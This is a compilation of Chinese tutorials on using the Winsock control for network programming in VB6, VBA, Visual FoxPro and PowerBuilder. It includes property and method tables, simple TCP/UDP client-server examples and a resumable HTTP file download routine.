VB中Winsock控件的使用[完全免费]
VB网络编程--WinSock控件及WinSockAPI
初始化1.1版本
lngRetVal = WSAStartup(&H101, udtWinsockData)
初始化2.2版本
lngRetVal = WSAStartup(&H202, udtWinsockData)
第二个参数是WSADATA 的数据结构 ,它是接收Windows Sockets 执行时的数据。
iMaxSockets 表示同时打开的socket最大数,为0表示没有限制。
iMaxUdpDg 表示同时打开的数据报最大数,为0表示没有限制。
lpVendorInfo 厂商指定信息预留
在Winsock的1.1和2.2版本中没有lpVendorInfo的返回值。因为winsock 2支持多个传输协议,所以iMaxSockets 和iMaxUdpDg只能在仅支持TCP/TP的winsock1.1中使用。为了在Winsock 2中获得这些值,你可以使用WSAEnumProtocols 函数。
如果成功或者返回一个错误代码,则函数返回 0。
错误代码 含义
WSASYSNOTREADY 指出网络没有为传输准备好。
WSAVERNOTSUPPORTED 当前的WinSock实现不支持应用程序指定的Windows Sockets规范版本
b.SocketHandle属性
SocketHandle返回当前socket连接的句柄,这是只读属性。
c.RemoteHostIP属性
RemoteHostIP属性返回远程计算机的IP地址。在客户端,当使用了控件的Connect方法后,远程计算机的IP地址就赋给了RemoteHostIP属性,而在服务器端,当ConnectRequest事件后,远程计算机(客户端)的IP地址就赋给了这个属性。如果使用的是UDP协议那么当DataArrival事件后,发送UDP报文的计算机的IP才赋给了这个属性。
在VBA中调用winsock控件
在VBA中调⽤winsock控件如果系统没有Winsock控件的话,可以下载下⾯的控件MSWINSCK.OCX,然后将该⽂件复制到C:\Windows\System32⽬录下。
在VBE窗⼝中,从菜单“⼯具”->“引⽤”中,点击“浏览”按钮,选择MSWinSCK.ocx⽂件,再从“⼯具箱”的“附加控件”中选择Microsoft Winsock Control。
此时使⽤Winsock控件的话,将会出现提⽰不安全的ActiveX控件的提⽰。
可以点击同时下载的REG⽂件注册该控件即可。
(48.41 KB, 下载次数: 495)⼀般在Excel的窗体中添加Winsock控件。
使⽤Winsock控件的应⽤程序⼀般是Client/Server结构,也就是客户端/服务器端。
以服务端为例,⼀般的步骤是:先设置LocalPort本地端⼝,然后使⽤Listen⽅法侦听数据请求。
然后处理ConnectionRequest和DataArrival事件。
使⽤完后使⽤Close⽅法关闭连接。
Private Sub UserForm_Initialize()Winsock1.LocalPort = 1999Winsock1.ListenEnd SubPrivate Sub UserForm_Terminate()Winsock1.CloseEnd SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestIDEnd SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim Buffer() As ByteTransferedBytes = TransferedBytes + bytesTotalReDim Buffer(bytesTotal - 1)Winsock1.GetData Buffer, vbArray + vbByteEnd SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)Debug.Print "Sock Err:" & DescriptionEnd Sub⽽客户端的⼀般步骤如下:设置远程服务器端⼝RemotePort属性,然后使⽤Connect⽅法连接。
vb中winsock简单实例
VB中Winsock简单实例Winsock是Visual Basic(VB)中用于创建网络应用程序的组件。
它提供了一种简单的方法来实现网络通信,并允许应用程序通过TCP/IP协议与远程主机进行通信。
本文将介绍如何在VB中使用Winsock组件创建一个简单的网络应用程序。
什么是Winsock?Winsock(Windows Sockets)是一套用于在Windows操作系统上进行网络通信的API。
它提供了一种标准的接口,使开发人员可以使用各种网络协议(如TCP/IP)进行通信。
在VB中,Winsock组件是对Winsock API的封装,使开发人员可以轻松地在VB应用程序中实现网络通信功能。
Winsock组件的使用要在VB中使用Winsock组件,首先需要在项目中添加对Microsoft Winsock Control的引用。
在VB的工具箱中,可以找到Winsock控件并将其拖放到窗体上。
Winsock控件具有许多属性和方法,用于配置和控制网络通信。
以下是一些常用的属性和方法:属性•LocalHost:表示本地主机的IP地址。
•LocalPort:表示本地主机的端口号。
•RemoteHost:表示远程主机的IP地址。
•RemotePort:表示远程主机的端口号。
•Protocol:表示要使用的网络协议。
方法•Connect:与远程主机建立连接。
•SendData:发送数据到远程主机。
•GetData:从远程主机接收数据。
•Close:关闭与远程主机的连接。
Winsock简单实例下面是一个简单的VB程序示例,演示了如何使用Winsock组件进行网络通信。
该程序将作为客户端与远程服务器建立连接,并发送和接收数据。
Private Sub Form_Load()' 设置本地主机和端口Winsock1.LocalPort = 1234Winsock1.LocalHost = "127.0.0.1"End SubPrivate Sub ConnectButton_Click()' 设置远程主机和端口Winsock1.RemoteHost = "192.168.0.1"Winsock1.RemotePort = 5678' 建立连接Winsock1.ConnectEnd SubPrivate Sub SendButton_Click()' 发送数据到远程主机Winsock1.SendData "Hello, Server!"End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim receivedData As String' 接收数据Winsock1.GetData receivedData' 处理接收到的数据MsgBox "Received: " & receivedDataEnd SubPrivate Sub DisconnectButton_Click()' 关闭连接Winsock1.CloseEnd Sub在上面的示例中,我们首先在Form_Load事件中设置了本地主机和端口。
VBWinsock控件的使用与介绍
VB Winsock 控件的使用与介绍第一节: Winsock 控件的介绍Winsock 控件的作用简单说就是可以用于两台或多台机器间通信,这里不多说这个控件的作用了,因为在以后的介绍中我们会了解到这个控件的强大功能的,如可以用来做聊天软件等废话不多说,来看看他有些什么重要的属性、方法和事件吧!在 VB6.0 中的工具箱里默认情况下是没有这个控件的,添加方法如下:在工具箱上右击,选择 [部件 ],然后在部件对话框中选择 "MicrosoftWinsock Control6.0",后确定即可。
如果没有这个复选框的话,请点击 [浏览]按钮后在打开的 [添加 ActiveX 控件 ]对话框选择MSWINSCK.ocx 后选择打开,再点确定即可。
Winsock 控件在工具箱中图标为。
Winsck 的主要属性:属性名说明 BytesReceived返回接收的数据,可以用GetData 方法来获取它LocalHostName返回本机名LocalIP返回本机 IPLocalPort返回或设置本机所用的端口,如果为0 则为随机产生Protocol返回通信所用的协议RemoteHostName返回通信对方的计算机名RemoteHostIP返回通信对方的IPState返回 Winscok 的当前状态,取值如下sckClosed (常量为 0):关闭状态sckOpen (常量为 1):打开状态sckListening (常量为2):侦听状态sckConnectionPending (常量为3):连接状态sckResolvingHost (常量为4):解析主机中sckHostResolved (常量为 5):已解析主机sckConnecting (常量为6):正在连接sckConnected (常量为 7):已经连接sckClosing (常量为8):客户端正在关闭sckError (常量为9):连接发生错误。
VB winsock介绍
VB winsock介绍2008年06月27日星期五 13:18Winsock是Mcrosoft windows提供的网络编程接口,它供了基于TCP/IP协议接口实现方法.通过网络进行的数据通信,需要用地址来表示网络中的主机.TCP/IP 协议使用IP地址来作为主机的标识.实现的连接方式是通过IP地址来识别的.通常情况下每台设备运行的不止一个程序,所以为了使用应用程序间的连接,还需要建立一个地址标识.在TCP/IP中使用端口来作为标识号(PORT).IP地址+端口地址.TCP:实现提供双向,有序无从复的数据流服务,流量控制+差错检测+纠错等功能.1.VB控件winsock是个运行中不可件的控件,常用属性如下:byte received 接收到的字节数local hostname 本地机器名Local IP 本地IP地址Local port 本地通信程序的端口Remote host 远程机器名Remote host IP 远程IP地址Remote port 远程通信程序端口Socket handle 提供调用API得句柄参数State 连接得当前状态Protocol 使用协议Bytereceived:反应接收到得数据量,以字节为单位。
State:返回当前连接状态0 关闭状态1 打开状态2 监听状态3 连接挂起4 解析域名5 正在连接6 以建立连接7 正在关闭8 出错2.控件accept接受一个连接请求。
格式:对象.accept request IDbind:多协议接口下,把接口卡,IP地址捆绑再一起。
格式:对象。
Bina端口号,ip地址close:关闭连接。
格式:对象。
Closeconnect:发送连接请求。
格式:对象。
Connect〔ip,远程端口〕getdata:取出数据后清除缓冲区。
Peekdata:取出数据后不清楚缓冲区。
格式:对象。
Getdata(peekdata)变量〔,数据类型〔,最大长度〕〕Listen:侦听。
Winsock控件基础(VB6.0)
Winsock控件基础(VB6.0)Winsock控件基础(VB6.0)1.Winsock控件基础Winsock控件在程序设计时,看不到这个控件显现在执行的窗体之中,但是它可以提供有关网络通讯方面的程序设计依据。
此外,在这个控件的使用上,您可以非常容易地要求控件为您调用TCP或是UDP网络服务的功能。
因此,当您在编写有关住从式架构的应用程序时,您可以不需要了解TCP 通讯协议或是低级的Winsock api调用方式。
通常,以笔者的经验,除了必须与标准通讯协议进行互动外,仅仅是进行一般性相互通讯、交换数据时,Winsock控件可以满足您的要求。
因此您可以非常容易地通过属性的设置以及控制方法的调用,与远程的设备进行连接并且相互交换信息。
关于这些应用方面以及调用方式,笔者将在接下的探索中,慢慢地研究Winsock的应用方式。
1-1TCP基础不论是在Internet或是Internet网络之中,以目前流行的趋势,多半都会使用TCP协议来进行远程设备的连接。
TCP 协议的全名为“传输控制协议(transfer control protocol)”,这是一种在Internet上使用的主要协议,例如http,ftp,smtp 等,都是属于这个中面向连接的协议。
因此,当您使用TCP 协议连接两个网络上的设备时,将可以在它们之间交换希望交换的数据。
同时,如果您开发的应用程序属于主从式应用架构(或是n-tear(多层次))应用系统时,将必须要知道应用系统主机的ip地址(利用RemoteHost属于取得)以及连接端口号(利用remoteport属于取得)。
在这些数据完全备齐之后,您才可以进行进一步的调用、连接。
因此,如果正在建立主机端应用程序时,必须指定本机,必须指定本机(执行应用程序所在的计算机)所用的连接端口号(localport属于),接着将Winsock控件设置为“监听(listen)”,即可等候远程客户端进行调用与连接。
Winsock与VFP中的使用
用This.Object 来使用当前控件Winsock与VFP中的使用初识 ActiveX Winsock 控件方法说明Accept(requestID) 该方法用于接收一个特写的连接. 它作为一个参数传递来处理请求. Bind(LocalPort,LocalIP) 为 CDP 连接指定端口和本地 IP.Close() 关闭服务器和客户之间的活动的连接.GetData(Data,Type,maxLen) 用缓冲中的内容填充变量, 使其为空.Listen() 对象等等连接.PeekData(Data,Type,maxLen) 用缓冲中的内容填充变量, 但不清空缓冲.SendData(Data) 发送数据到远程计算机.事件说明Close 当远程计算机关闭当前连接时发生Connect(Error) 与服务器的连接成功后.ConnectionRequest(requestID) 当远程计算机发出一个请示时.DataArrival(BytesTotal) 在从远程计算机上接收到新数据时发生.Error(number, Description, Scode, Source, HelpFile, HelpContext, CancelDisplay) 当发生后台处理错误时.SendComplete 数据发送完毕时发生SendProgress(bytesSent, bytesRemaining) 在发送数据时.属性说明BytesReceived 返回到缓冲中的字节数LocaHostName 返回本地机器的名字LocalIP 本地计算机的 IP 地址LocalPort 数据传送的端口 (客户) 或代表一个连接 (服务器)Name 对象名Object 运行时自动创建, 仅在 VFP 中.Protocol 使用的协议 TCP (0) 或 UDP (1)属性说明RemoteHost 返回远程计算机的端口RemoteHostIP 返回远程计算机 IPRemotePort 返回远程计算机上的连接端口SocketHandle 返回控件当前连接的句柄State 返回控件的状态:0 = 已关闭1 = 打开2 = 等待连接3 = 正在连接4 = 决定主机5 = 主机已决定6 = 正在连接7 = 已连接8 = 连接被远程计算机关闭9 = 错误在 VFP 中使用它在 VFP 中使用 ActiveX Winsock 时你必须牢牢记住:在运行任何 ActiveX 方法前, 必须添加 .F. 到应用程序的 AutoYeld 属性(application.autoyield = .f.);所有与 Windsock 相关的方法, 事件或属性必须加上 object 前缀(thisform.wsock1.OBJECT.connect)VFP 不能处理字符串中的 CHR(0) 字符. 因此, 如果你要处理带有这些内容的数据就需要一字节一字节地读缓冲中接收到的数据. 例如, 就象连接到 Unix 服务器一样.让我们看看示例 1 来开始测试我们的过程:它由两个表单组成: 1 个客户表单和一个服务器表单. 它的功能是从客户传送一个文本信息到服务器. 另外服务器以小写方式返回相同的信息.请注意在两个表单的 INIT 方法中的命令 Application.AutoYield = .f.. 这意味着我们告诉 VFP 不处理方法中的每一个代码行, 让 ActiveX 自己控制它的事件.在表单的 CLOSE 方法中我们包括了 Application.AutoYield = .t. 来允许 VFP 按一般方法控制事件.在 SERVER 表单的 INIT 方法中有两个重要的命令:thisform.sock1.object.LocalPort = 3001使用以上命令, ActiveX Winsock 在端口 3001上接收连接.thisform.sock1.object.Listen()该命令告诉 Winsock to 等待连接. 从此时开始, 上面的命令中定义的端口将打开并等待一个连接.当检测到连接时, 将触发 ConnectionRequest 事件, 发送这个新连接的句柄作为一个参数. 查看示例中的该方法的详细情况:This.object.close()确信没有其它未决的连接并停止等待.This.object.Accept(requestid)运行 Accept 方法, 发送连接句柄作为参数. 仅现在连接是设置了的.现在, 让我们到 CLIENTE 表单, 在发送按钮的 CLICK 方法上:lc_local_IP = thisform.sock1.object.LocalIP我们用服务器的 IP 地址定义一个变量. 在此情况下, 我们从 Winsock 的LocalIP 属性来获得当前计算机的地址.lc_local_Port = 3001我们定义了一个将连接到服务器端口的变量. 请确保该端口对于客户和服务器是相同的.thisform.sock1.object.close()确信没有未决的连接, 并不再等待另一个连接.thisform.sock1.object.Connect(lc_local_IP,lc_local_Port)用 IP 地址和端口为参数运行方法来连接服务器..在这一点上, 我们可以看到一个循环. 它的主要功能是检查 Winsock 的状态和等待连接的确认.定义一个期限是重要的, 否则此处的循环将有可能使系统崩溃.另一个重要的东西是注意循环中的 inkey(0.1), 用于避免不必要的使用 CPU 资源.在连接成功后并确认后, 我们可以看到以下命令:thisform.sock1.object.SendData(trim(thisform.texto.value))运行该方法来传送数据. 在我们的特写场合, 是发送文本框 TEXTO 中的内容. 在下一阶断, 我们再次看到一个与前面非常相似的循环. 它检查 ENVIADO_OK 变量的内容. 当数据完成后, Winsock 的 SendComplete 事件将自动运行, 且它将包含一个 .T. 到变量中.现在我们可以看到另一个等待服务器 (SERVIDOR) 回应的循环.现在让我们回到 SERVIDOR 表单, 在Winsock’ 的 DataArrival 事件中. 该事件在每次从远程计算机上接收到数据时执行. 缓冲的字节数作为参数给出.LPARAMETERS bytestotallc_buffer = space(bytestotal)现在我们用 Winsock 的缓冲大小定义一个变量作为缓存.this.object.GetData(@lc_buffer)我们运行 GetData 方法, 给它一个要接收缓冲中的数据的变量名引用 (@). 该方法也会清除 Winsock 的缓冲.thisform.retorno.value = lc_buffer在这一点上, 我们展示已被 GetData 方法填充了的变量的内容.this.object.SendData(lower(lc_buffer))作为一个对客户 (CLIENTE) 的回应我们以小写方式发送缓冲中的内容.回到 CLIENTE 表单, 在 Winsock 的 DataArrival 方法中, 我们可以看到它获得了 Winsock 的缓冲中的内容并将它放入到文本框 RETORNO 中, 处理结束.thisform.sock1.object.close() 关闭连接this.object.Close() 关闭当前连接已经.this.object.Listen() 等待下一个连接.。
vb mswinsock注册方法
vb mswinsock注册方法Mswinsock控件是VB语言中的一个重要组件,它提供了与网络通信相关的功能。
通过使用Mswinsock控件,我们可以实现与其他计算机的网络通信,例如发送和接收数据等。
要使用Mswinsock控件进行注册,首先需要在VB项目中添加Mswinsock控件。
在VB的工具箱中,可以找到Mswinsock控件,并将其拖放到窗体上。
接下来,需要对Mswinsock控件进行一些设置。
在控件的属性窗口中,可以设置Mswinsock控件的一些属性,例如协议类型、监听端口、远程主机IP地址等。
根据实际需求,可以根据需要进行设置。
需要注意的是,IP地址必须是有效的IP地址。
注册的第一步是创建一个Socket对象,用于与远程主机进行通信。
可以使用以下代码创建一个Socket对象:Dim WithEvents Socket1 As MSWinsockLib.Winsock接下来,可以使用以下代码进行Socket对象的初始化:Set Socket1 = New MSWinsockLib.Winsock在Socket对象初始化完成后,可以通过设置Socket对象的属性来进行注册。
例如,可以使用以下代码设置Socket对象的协议类型为TCP:Socket1.Protocol = MSWinsockLib.ProtocolConstants.sckTCPProtocol然后,可以使用以下代码设置Socket对象的监听端口:Socket1.LocalPort = 8888接下来,可以使用以下代码设置Socket对象的远程主机IP地址:Socket1.RemoteHost = "192.168.0.1"在完成以上设置后,可以使用以下代码启动Socket对象的监听:Socket1.Listen通过以上步骤,就可以成功注册Mswinsock控件,并开始进行网络通信。
在实际使用中,可能还需要编写相应的事件处理程序,以处理接收到的数据或其他操作。
用VBWinsock控件创建TCPIP客户机服务器程序
用VBWinsock控件创建TCPIP客户机/服务器程序摘要本文介绍了如何使用VBWinsock控件来创建基于TCP/IP协议的客户机/服务器程序。
通过VBWinsock控件,我们可以通过互联网或局域网上的计算机之间进行通信。
本文将分为以下几个部分来说明如何创建并使用VBWinsock控件来实现客户机/服务器应用程序。
1.VBWinsock控件是Visual Basic的一个强大的网络编程控件,用于与其他计算机进行网络通信。
它通过提供一系列的事件和方法,使得我们可以轻松地创建客户机/服务器应用程序。
2. 创建服务器端程序要创建一个服务器端程序,我们需要首先添加VBWinsock控件到我们的项目中。
进入Visual Basic的设计界面,单击“工具箱”窗口上的“组件”选项卡,然后选择VBWinsock控件,拖放到我们的窗体或模块中。
现在我们可以开始编写服务器端程序的代码。
以下是一个简单的VBWinsock服务器端程序的示例:Private Sub Form_Load()Winsock1.LocalPort = 5000 ' 设置服务器监听的端口号Winsock1.Listen ' 启动服务器监听End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed ThenWinsock1.Close ' 如果当前有连接,则关闭它End IfWinsock1.Accept requestID ' 接受客户端的连接请求End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim receivedData As StringWinsock1.GetData receivedData ' 接收数据' 处理接收到的数据End Sub在上述代码中,我们首先在Form_Load()事件中设置了服务器监听的端口号。
使用WINSOCK控件的方法
在POWERBUILDER中使用WINSOCK控件的方法随着资源共享和实时通讯的需要,很多计算机应用程序早已甩开单兵作战的模式,转入联合行动。
网络在计算机世界里,越来越发挥着举足轻重的作用。
在WINDOWS应用程序中,处理实时通讯最常用到的还是MICROSOFT公司提供的WINSOCK控件。
许多资料都细述了WINSOCK在VB中的使用方法,就连WINDOWS本身提供的hlp文件也是针对VB而写的。
笔者因为实际应用的需要,琢磨出了WINSOCK 控件在PB中的应用方法。
好东西不敢独自享用,拿出来与大家共享。
下面以一个简单程序为例,说明WINSOCK控件在PB中的使用:一、在窗口中添加WINSOCK控件:在应用中新开一个窗口,在窗口画板中点击controls-->OLE菜单项,弹出Insert object窗口,单击Insert control标签,从列表框中双击选定Microsoft Winsock control,将winsock的图标贴在窗口上。
在程序中该控件名称定为winsock_a(甲方)和winsock_b(乙方)。
二、设置信息输入输出文本框:在窗口中增加一个按钮cb_1,两个单行文本框sle_1,sle_2,分别用于输入要发送的字符串和接受对方发送的字符串。
三、设置通讯协议:WINSOCK控件允许用户以UDP和TCP两种协议中任选一种进行通讯。
1.UDP协议设置:UDP协议是一种无连接的通讯协议,在通讯之前,需要绑定remotehost和remoteport 属性,如果需要双向通讯,还要设置localport属性。
在甲方(本机地址为:134.1.1.1)窗口的Open事件中加入如下语句:winsock_a.object.protocol=1//winsock通讯协议设为UDP协议winsock_a.object.remotehost="134.1.1.2"//对方的ip地址winsock_a.object.remoteport=6000//对方的winsock通讯端口号winsock_a.object.localport=6001//本机的winsock通讯端口号winsock_a.object.bind//绑定通讯协议在乙方(本机地址为:134.1.1.2)窗口的Open事件中加入如下语句:winsock_b.object.protocol=1//winsock通讯协议设为UDP协议winsock_b.object.remotehost="134.1.1.1"//对方的ip地址winsock_b.object.remoteport=6001//对方的winsock通讯端口号winsock_b.object.localport=6000//本机的winsock通讯端口号winsock_b.object.bin//绑定通讯协议2.TCP协议设置:TCP协议在通讯前需要进行连接。
VB Winsock控件创建多个连接
VB Winsock控件创建多个连接。
VB学习2010-12-11 16:28:12 阅读105 评论0 字号:大中小订阅用VB写的一个简单的服务端程序,服务器端程序:Private Sub Form_Load()tcpserver.LocalPort = 1001 '将LocalPort 属性设置为一个整数。
tcpserver.Listen '然后调用Listen 方法。
End SubPrivate Sub tcpServer_ConnectionRequest(ByVal requestID As Long)If tcpserver.State <> sckClosed Then tcpserver.Close '检查控件的State 属性是否为关闭的。
'如果不是,'在接受新的连接之前先关闭此连接。
tcpserver.Accept requestID '接受具有requestID 参数的'连接。
msgbox("有人连接服务端")End Sub客服端程序Private Sub Form_Load()tcpClient.RemoteHost = "192.168.1.2"tcpClient.RemotePort = 1001End SubPrivate Sub cmdConnect_Click() '连接按钮tcpClient.ConnectMsgBox ("连接服务器成功")End Sub运行后,启动服务端,然后启动客户端,点“连接”按钮,客服端端跳出窗口“连接服务器成功”,服务端跳出窗口“有人连接服务端”。
表示双方建立了连接。
这个时候关闭客户端,然后再启动,点“连接”按钮,就只是跳出连接服务器成功(程序设置不完美)。
然后在输入框中输入向服务端发送数据,出现“错误“40006” 所需事物请求的错误协议连接或连接状态”。
VB6中用Winsock控件实现多台计算机之间的通信
四川畜牧兽医学院学报 2002,16(4)Jo urnal of Sichuan Institute of Animal Hus bandry and Veterinary MedicineVB6中用Winsock 控件实现多台计算机之间的通信胡大辉 杜治国 肖兴江(西南农业大学荣昌校区信息学院 重庆荣昌 402460)摘 要 本文主要阐述通过VB6中Winsock 控件的灵活运用,达到计算机之间相互通信的目的。
文章从介绍Winsock 控件入手,利用W insock 控件实现两台计算机之间互相通信,在此基础上达到多台计算机通信的目的,最后概要介绍开发实用通信软件的基本方法。
关键词 VB6 Winsock 计算机通信 程序设计中图分类号 G201 文献标识码 A 文章编号 1009-0533(2002)04-0080-051 前言Visual Basic 6.0,简称VB6,是M icrosoft Visual Studio 可视化工具中的一个开发工具,是一个用于快速开发基于Windo w s 的客户机/服务器应用程序的高效工具。
Visual Basic 现在流行的版本是6.0,比较以往的版本,VB6新增的特性有:数据访问的改进,增加AD O(ActiveX Date Objects)控件;新的网络通信特性;新增一些控件并对原有控件进行改进;用户可以创建自己的数据源;对语言特性进行改进并新增一些函数。
因此,无论用户是Windo ws 编程的新手或是对Windo ws 编程有丰富的经验,利用Visual Ba-sic 提供的良好的开发环境,用户均可快速完成所需任务。
在VB6中,一共有三个Activ eX 控件可以用来开发计算机通信应用程序,它们为用户提供了几乎每一层的网络通信协议。
这三个控件是Winso ck 控件、Intern et Transf er 控件和Web-Bro wser 控件。
2 Winsock 控件的功能及属性2.1 Winsock 控件的功能 Winsock 控件能开发基于传输控制协议(TCP)和用户数据报协议(UD P)的计算机网络通信应用程序,并提供对T CP 和UD P 的低层访问。
vb中winsock简单实例
vb中winsock简单实例VB中的Winsock简单实例Winsock是一种来自于VB的库,它允许我们通过网络进行数据传输。
使用Winsock可以在计算机之间建立网络连接,发送和接收数据包等。
本文将为您介绍如何在VB中创建和使用Winsock的简单实例。
首先,我们需要了解一些基本的网络概念。
在计算机网络中,有两种常见的通信协议:TCP和UDP。
TCP(传输控制协议)提供可靠的数据传输,而UDP(用户数据报协议)提供不可靠但更快的数据传输。
在本文中,我们将重点介绍使用TCP进行数据传输的Winsock实例。
第一步是在VB中添加Winsock控件。
打开VB开发环境,并在工具箱中找到Winsock控件。
将其拖放到您的表单中。
第二步是为Winsock控件设置属性。
选中Winsock控件,然后在属性窗口中设置以下属性:- LocalPort:这是本地使用的端口号。
您可以选择任意未被其他应用程序使用的端口号。
- Protocol:选择TCP协议。
- RemoteHost:指定远程主机的IP地址。
您可以输入主机名或IP地址。
- RemotePort:指定远程主机的端口号。
这是目的地主机上的应用程序正在监听的端口号。
第三步是编写VB代码来建立连接并发送数据。
在表单中的代码窗口中添加以下VB代码:Private Sub Command1_Click()Winsock1.Connect '建立与远程主机的连接End SubPrivate Sub Command2_Click()Winsock1.SendData "Hello World" '向远程主机发送数据End SubPrivate Sub Winsock1_Connect()MsgBox "连接成功" '连接成功时显示一条消息End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim data As StringWinsock1.GetData data '接收从远程主机传输过来的数据MsgBox "接收到的数据:" & dataEnd Sub在上面的代码中,Command1按钮的Click事件将建立与远程主机的连接。
在vb中如使用 winsock 控件
在vb中如何使用 winsock 控件1.Winsock简介Windows下网络编程的规范-Windows Sockets是Windows下得到广泛应用的、开放的、支持多种协议的网络编程接口。
2.Winsock规范Windows Sockets规范本意在于提供给应用程序开发者一套简单的API,并让各家网络软件供应商共同遵守。
此外,在一个特定版本Windows的基础上,Windows Sockets 也定义了一个二进制接口(ABI),以此来保证应用Windows Sockets API的应用程序能够在任何网络软件供应商的符合Windows Sockets协议的实现上工作。
因此这份规范定义了应用程序开发者能够使用,并且网络软件供应商能够实现的一套库函数调用和相关语义。
遵守这套Windows Sockets规范的网络软件,我们称之为Windows Sockets 兼容的,而Windows Sockets兼容实现的提供者,我们称之为Windows Sockets提供者。
3.通信基础:套接口通信的基础是套接口(Socket),一个套接口是通讯的一端。
在这一端上你可以找到与其对应的一个名字。
一个正在被使用的套接口都有它的类型和与其相关的进程。
4.客户机/服务器模型一个在建立分布式应用时最常用的范例便是客户机/服务器模型。
在这种方案中客户应用程序向服务器程序请求服务。
这种方式隐含了在建立客户机/服务器间通讯时的非对称性。
客户机/服务器模型工作时要求有一套为客户机和服务器所共识的惯例来保证服务能够被提供(或被接受)。
5.VB下winsock控件应用小程序设计在VB 中使用Winsock控件从Internet时间服务器获得标准格林尼治时间,再用转化后的北京时间校准系统时钟的小程序。
6.因时间关系,最终想做一个VB下基于Winsock的Email客户端软件,没来得及进行需求分析。
7.实现功能:邮件收发,附件下载。
VB中利用Winsock实现断点续传
VB中利用Winsock实现断点续传利用Winsock下载文件(支持断点续传)第一步,建立工程,引用Winsock(Visual Basic最好打SP6,否则MS有一个Bug),在此省略第二步,具体实现代码步骤1:发送请求说明:(1)这里简单采用了判断是否已经有同名文件表示是否要断点续传(2)下载的地址,大小和已下载字节数也只是简单地存在ini文件中,更安全的做法本文不作讨论有兴趣的朋友可以联系我'--------------------------------------------------------------------------------' Name:DownloadFile' Author:Reker 2004/3/20' Desc:连接远端主机,发送接收文件请求,等待远端主机响应' Params:None' History:None'--------------------------------------------------------------------------------Private Sub DownloadFile()On Error Resume NextStartTime = Time()With WinSck.RemoteHost = Host '远端主机地址.RemotePort = 80.Connect'等待服务器连接相应Do While .State <> sckConnectedDoEvents: DoEvents: DoEvents: DoEvents'20秒超时If DateDiff("s", StartTime, Time()) > 20 ThenShowInfo "连接超时".CloseExit SubEnd IfLoop'发送下载文件请求'此处使用HTTP/1.0协议strCommand = "GET " + UpdateURL + " HTTP/1.0" + VBCrL f '下载地址strCommand = strCommand + "Accept: */*" + vbCrLf '这句可以不要strCommand = strCommand + "Accept: text/html" + vbCrLf '这句可以不要strCommand = strCommand + vbCrLfstrCommand = strCommand & "Host: " & Host & vbCrLfIf Dir(SaveFileName) <> "" Then '是否已经存在下载文件Dim confirmconfirm = MsgBox("已经存在文件,是否断点续传?", vbYesNo + vbQuestion, "提示")If confirm = vbYes ThenDownPosition = ""If Not oFileCtrl.ReadKeyFromIni("Update", "DownSize", App Path + "Update.ini", DownPosition) Then'读取上次下载的字节数MsgBox "读取大小错误", vbInformation, "提示"End If'发送断点续传请求strCommand = strCommand & "Range: bytes=" & CLng(DownPosition) & "-" & vbCrLfElseKill SaveFileName '删除原文件End IfEnd IfstrCommand = strCommand & "Connection: Keep-Alive" & vbCrLfstrCommand = strCommand & vbCrLf.SendData strCommandEnd WithIf Err ThenlblProcessResult.Caption = lblProcessResult.Caption & vbCr Lf & vbCrLf & "下载文件出错:" & Err.DescriptionlblProcessResult.RefreshEnd IfEnd Sub第二步,具体实现代码步骤2:接收数据'--------------------------------------------------------------------------------' Name:Winsck_DataArrival' Author:Reker 2004/3/20' Desc:略' Params:略' Return:None' History:None'--------------------------------------------------------------------------------Private Sub Winsck_DataArrival(ByVal bytesTotal As Long) On Error Resume Next'DoEvents: DoEventsDim ByteData() As ByteWinSck.GetData ByteData(), vbByteReceiveData = ReceiveData & StrConv(ByteData(), vbUnicod e)If InStr(1, ReceiveData, "Content-Length:") > 0 And FileSize = 0 Then '仅第一次计算,FileSize=0 Dim pos1 As Long, pos2 As Longpos1 = InStr(1, ReceiveData, "Content-Length:")pos2 = InStr(pos1 + 16, ReceiveData, vbCrLf)If pos2 > pos1 ThenFileSizeByte = Mid(ReceiveData, pos1 + 16, pos2 - pos1 - 1 6) '计算文件的长度StartTime = Timer() '保存开始下载的时间ProgssBar.Max = FileSizeByte '设置进度条FileSize = FormatNumber(FileSizeByte / 1024, 2) '以KB表示ShowInfo "本次下载的文件共" + CStr(FileSize) + "KB..."End IfEnd If'从服务器响应返回的数据查找下载文件的起始位置If FileHeaderLen = 0 ThenFor i = 0 To UBound(ByteData()) - 3If ByteData(i) = 13 And ByteData(i + 1) = 10 And ByteData(i + 2) = 13 And ByteData(i + 3) = 10 ThenStartPos = i + 4 '将文件头的长度保存下来FileHeaderLen = StartPosExit ForEnd If'DoEventsNext iEnd IfFileSizeHaveDown = bytesTotal + FileSizeHaveDown - FileH eaderLen'已下载文件长度,需减去响应的文件头长度dblDownloadSpeed = FormatNumber(FormatNumber(FileSi zeHaveDown / 1024, 2) / (FormatNumber((Timer() - StartTime), 4)), 2) '计算下载速率 KB/SIf dblDownloadSpeed <> 0 Then '计算剩余下载的时间sRestTime = GetRestTime(CLng((FileSize - (FileSizeHaveDow n) / 1024) / dblDownloadSpeed)) '此过程略,可以删除此段代码labRestTime.Caption = "剩余时间:o" + sRestTimelabRestTime.RefreshEnd IflabDownloadSpeed.Caption = CStr(dblDownloadSpeed) + " kb/s"labDownloadSpeed.RefreshProgssBar.Value = FileSizeHaveDown'写数据Fnum = FreeFile()Open SaveFileName For Binary Lock Write As #FnumIf LOF(Fnum) > 0 ThenSeek #Fnum, LOF(Fnum) + 1End IfIf StartPos > 0 ThenFor i = StartPos To UBound(ByteData())Put #Fnum, , ByteData(i)Next iElsePut #Fnum, , ByteData()End IfClose #FnumIf Err ThenlblProcessResult.Caption = lblProcessResult.Caption & vbCr Lf & 获取数据出错:" & Err.DescriptionlblProcessResult.RefreshEnd IfEnd Sub参考一下。
在vb中如何使用winsock控件
